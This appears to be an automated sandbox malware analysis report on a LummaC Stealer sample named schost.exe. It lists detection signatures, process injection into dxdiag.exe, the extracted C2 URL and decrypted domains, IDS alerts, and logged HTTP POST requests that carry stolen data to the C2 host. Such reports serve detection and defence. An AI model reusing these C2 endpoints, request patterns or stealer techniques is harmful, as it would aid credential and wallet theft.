Edit tour

Windows Analysis Report
schost.exe

Overview

General Information

Sample name:	schost.exe
Analysis ID:	1579695
MD5:	4d82074854750fdba89d76624cc1e6f6
SHA1:	1cab8150956317418f64e67692072cac8472b75b
SHA256:	019cf1aad1f8d4f1b5dae3aa609b2b53cffc3c7894b58b9f0b225868aed7342d
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

schost.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\schost.exe" MD5: 4D82074854750FDBA89D76624CC1E6F6)

dxdiag.exe (PID: 7332 cmdline: "C:\Windows\SysWOW64\dxdiag.exe" MD5: 24D3F0DB6CCF0C341EA4F6B206DF2EDF)

dxdiag.exe (PID: 7340 cmdline: "C:\Windows\SysWOW64\dxdiag.exe" MD5: 24D3F0DB6CCF0C341EA4F6B206DF2EDF)

dxdiag.exe (PID: 7348 cmdline: "C:\Windows\SysWOW64\dxdiag.exe" MD5: 24D3F0DB6CCF0C341EA4F6B206DF2EDF)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://fixxyplanterv.click/api", "Build Version": "ZqchOa--new"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: dxdiag.exe PID: 7348	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: dxdiag.exe PID: 7348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: dxdiag.exe PID: 7348	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:33:10.417997+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.6.116	443	TCP
2024-12-23T07:33:12.428698+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.6.116	443	TCP
2024-12-23T07:33:14.724193+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.6.116	443	TCP
2024-12-23T07:33:17.007472+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.6.116	443	TCP
2024-12-23T07:33:19.306895+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.6.116	443	TCP
2024-12-23T07:33:22.039255+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.6.116	443	TCP
2024-12-23T07:33:24.560618+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	104.21.6.116	443	TCP
2024-12-23T07:33:28.317755+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.6.116	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:33:11.160165+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.6.116	443	TCP
2024-12-23T07:33:13.188279+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	104.21.6.116	443	TCP
2024-12-23T07:33:29.092914+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	104.21.6.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:33:11.160165+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	104.21.6.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:33:13.188279+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	104.21.6.116	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:33:17.818275+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49734	104.21.6.116	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000002.1918407928.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": "https://fixxyplanterv.click/api", "Build Version": "ZqchOa--new"}

Multi AV Scanner detection for submitted file

Source: schost.exe	Virustotal: Detection: 54%			Perma Link
Source: schost.exe	ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: schost.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: impend-differ.biz
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: print-vexer.biz
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: dare-curbys.biz
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: covery-mover.biz
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: formy-spill.biz
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: zinc-sneark.biz
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: se-blurry.biz
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fixxyplanterv.click
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ZqchOa--new

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 3_2_00415971 CryptUnprotectData,

3_2_00415971

Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: schost.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 152A0A64h	3_2_0040D866
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_0043C8F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, ebx	3_2_00415971
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	3_2_0043CA10
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [eax], dl	3_2_0040E458
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edi, dword ptr [esi+10h]	3_2_0040E458
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [eax], dl	3_2_0040E458
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, eax	3_2_0043D400
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-5Ch]	3_2_0043D400
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+eax*8], 299A4ECDh	3_2_0043D400
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, dword ptr [esi+04h]	3_2_0040CDD7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, eax	3_2_00438640
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ebx, byte ptr [ebp+edi-14B5D619h]	3_2_004227B0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B12AB835h	3_2_0041805C
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [edi], bl	3_2_00409070
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, eax	3_2_00425800
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_00425820
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 71D94D17h	3_2_004180EC
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+76h]	3_2_004238F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 403020B8h	3_2_0040D136
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx esi, byte ptr [edx]	3_2_004029C0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+eax*8], 9CAC4597h	3_2_0040D9D6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, dword ptr [esi+28h]	3_2_0042A9D5
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+ebx*8], 85917B02h	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, ecx	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 4D507EB0h	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 7FC6CA61h	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [esi], cx	3_2_004231F6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx esi, word ptr [eax]	3_2_004231F6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, eax	3_2_0041A9B0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [edx], bp	3_2_0041CA48
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then jmp ecx	3_2_0043BA70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov esi, edx	3_2_0043BA70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, dword ptr [esi+28h]	3_2_0042AAC6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, dword ptr [esi+28h]	3_2_0042AAD7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then lea edx, dword ptr [edx+edx*4]	3_2_004082F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, eax	3_2_004362F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 67F3D776h	3_2_004362F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+3A59EDA7h]	3_2_00426282
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx eax, byte ptr [ecx+edi]	3_2_0041DA80
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, dword ptr [esi+28h]	3_2_0042AA8A
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00432AA0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	3_2_004022B0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then jmp eax	3_2_0041BB20
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp word ptr [ebx+esi], 0000h	3_2_0041C330
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+65184CD6h]	3_2_00436BE4
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_00407450
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_00407450
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+3A59EDA7h]	3_2_004264F2
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-5Ch]	3_2_0043CCF0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	3_2_0043CCF0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ebx, word ptr [eax]	3_2_0043CCF0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then jmp ecx	3_2_0040A4FC
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_00416CBD
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ecx, di	3_2_0042456F
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	3_2_00421D73
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edi, byte ptr [ecx]	3_2_00421D73
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A8F779E4h	3_2_00438D70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A8F779E4h	3_2_00438D70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 1F1F7B79h	3_2_00417D74
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx-00000095h]	3_2_0042A58E
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00428DB0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+40h]	3_2_0041AEC5
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [ecx], dx	3_2_0040DEE9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then jmp eax	3_2_0043B6F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, edx	3_2_0041676A
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A896961Ch	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, eax	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 6E83E51Eh	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 6E83E51Eh	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 67F3D776h	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 67F3D776h	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 6E83E51Eh	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax-4D5F809Ah]	3_2_0043A71E
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, ecx	3_2_00409730
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-35CC155Bh]	3_2_0041AFD8
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ecx, di	3_2_0042456F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49734 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 104.21.6.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://fixxyplanterv.click/api

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.6.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.6.116:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fixxyplanterv.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 45Host: fixxyplanterv.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y38NJ7IE4YK35User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18131Host: fixxyplanterv.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q63TZWKYGSH72JFCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8770Host: fixxyplanterv.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VJZYLKUO7AYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20393Host: fixxyplanterv.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BIN529ER05XXU0BGO9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1243Host: fixxyplanterv.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K2B6IOGTJDC819User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 549628Host: fixxyplanterv.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: fixxyplanterv.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fixxyplanterv.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fixxyplanterv.click

Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: dxdiag.exe, 00000003.00000003.1805443910.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
